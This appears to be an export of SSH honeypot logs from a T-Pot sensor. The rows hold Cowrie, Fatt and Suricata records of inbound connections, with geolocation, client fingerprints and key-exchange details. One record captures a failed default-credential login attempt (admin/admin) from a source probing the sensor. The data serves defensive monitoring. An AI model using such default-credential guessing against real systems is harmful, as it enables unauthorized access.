26169	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:49.350325+03	2021-09-20 14:15:12.921646+03	{"_id": "oAbnAnwBvYTbRNuEqyCw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:57354 (192.168.176.2:22) [session: 3dde340ea2c9]", "session": "3dde340ea2c9", "@version": "1", "protocol": "ssh", "src_port": 57354, "dest_port": 22, "timestamp": "2021-09-20T11:11:49.350325Z", "@timestamp": "2021-09-20T11:11:49.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26170	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:49.425548+03	2021-09-20 14:15:12.922645+03	{"_id": "nwbnAnwBvYTbRNuEqyCv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3dde340ea2c9", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:49.425548Z", "@timestamp": "2021-09-20T11:11:49.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26171	8.30.234.130	109.199.241.180	Fatt	2021-09-20 14:11:50.17614+03	2021-09-20 14:15:12.923644+03	{"_id": "pgbnAnwBvYTbRNuEriD3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.30.234.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.48.54.8414141109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 61221, "dest_port": 22, "timestamp": "2021-09-20T11:11:50.176140", "@timestamp": "2021-09-20T11:11:50.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26172	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:11:49.990292+03	2021-09-20 14:15:12.924645+03	{"_id": "qQbnAnwBvYTbRNuEryCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.30.234.130:61221 (192.168.176.2:22) [session: 3cedbc756a3f]", "session": "3cedbc756a3f", "@version": "1", "protocol": "ssh", "src_port": 61221, "dest_port": 22, "timestamp": "2021-09-20T11:11:49.990292Z", "@timestamp": "2021-09-20T11:11:49.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26175	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:11:49.993316+03	2021-09-20 14:15:12.928644+03	{"_id": "tQbnAnwBvYTbRNuEryCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.48.54.8414141109.199.241.180'", "session": "3cedbc756a3f", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.48.54.8414141109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:11:49.993316Z", "@timestamp": "2021-09-20T11:11:49.993Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26176	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:11:50.076693+03	2021-09-20 14:15:12.929644+03	{"_id": "tgbnAnwBvYTbRNuEryCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3dde340ea2c9", "@version": "1", "timestamp": "2021-09-20T11:11:50.076693Z", "@timestamp": "2021-09-20T11:11:50.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26177	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:50.131434+03	2021-09-20 14:15:12.931645+03	{"_id": "twbnAnwBvYTbRNuEryCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ae7fd3fabf78", "@version": "1", "duration": 3.5981674194335938, "timestamp": "2021-09-20T11:11:50.131434Z", "@timestamp": "2021-09-20T11:11:50.131Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26178	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:11:50.176902+03	2021-09-20 14:15:12.932647+03	{"_id": "uAbnAnwBvYTbRNuEryCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "3cedbc756a3f", "@version": "1", "timestamp": "2021-09-20T11:11:50.176902Z", "@timestamp": "2021-09-20T11:11:50.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
26179	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:50.42919+03	2021-09-20 14:15:12.934647+03	{"_id": "uQbnAnwBvYTbRNuEryCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d7979cce0475", "@version": "1", "duration": 2.9637725353240967, "timestamp": "2021-09-20T11:11:50.429190Z", "@timestamp": "2021-09-20T11:11:50.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26180	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:11:50.561376+03	2021-09-20 14:15:12.935645+03	{"_id": "ugbnAnwBvYTbRNuEryCb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "3cedbc756a3f", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:11:50.561376Z", "@timestamp": "2021-09-20T11:11:50.561Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26181	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:11:41.28269+03	2021-09-20 14:15:12.936646+03	{"_id": "0wbnAnwBvYTbRNuEjB9j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:58497 (192.168.176.2:22) [session: ba9d8547508f]", "session": "ba9d8547508f", "@version": "1", "protocol": "ssh", "src_port": 58497, "dest_port": 22, "timestamp": "2021-09-20T11:11:41.282690Z", "@timestamp": "2021-09-20T11:11:41.282Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26182	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:40.673988+03	2021-09-20 14:15:12.937646+03	{"_id": "1AbnAnwBvYTbRNuEjB9j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "19b9242efb98", "@version": "1", "duration": 3.8675036430358887, "timestamp": "2021-09-20T11:11:40.673988Z", "@timestamp": "2021-09-20T11:11:40.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26183	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:11:41.545311+03	2021-09-20 14:15:12.939645+03	{"_id": "2wbnAnwBvYTbRNuEjh-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:11:39.004372+0000", "pkts_toclient": 5, "pkts_toserver": 6, "bytes_toclient": 969, "bytes_toserver": 1283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 202533149282580, "payload": "AAADVAUU/IPoKhTPNTGXnmpm7LRJbwAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAD2Ln7KgA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58497, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:11:41.545311Z", "@timestamp": "2021-09-20T11:11:41.545Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T.....*..51..jf..Io....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none...............~.."}}	1	\N	\N	alert	known attacker	\N
26184	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:11:41.545311+03	2021-09-20 14:15:12.940645+03	{"_id": "3gbnAnwBvYTbRNuEjx-v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 58497, "dest_port": 22, "timestamp": "2021-09-20T11:11:41.545311", "@timestamp": "2021-09-20T11:11:41.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
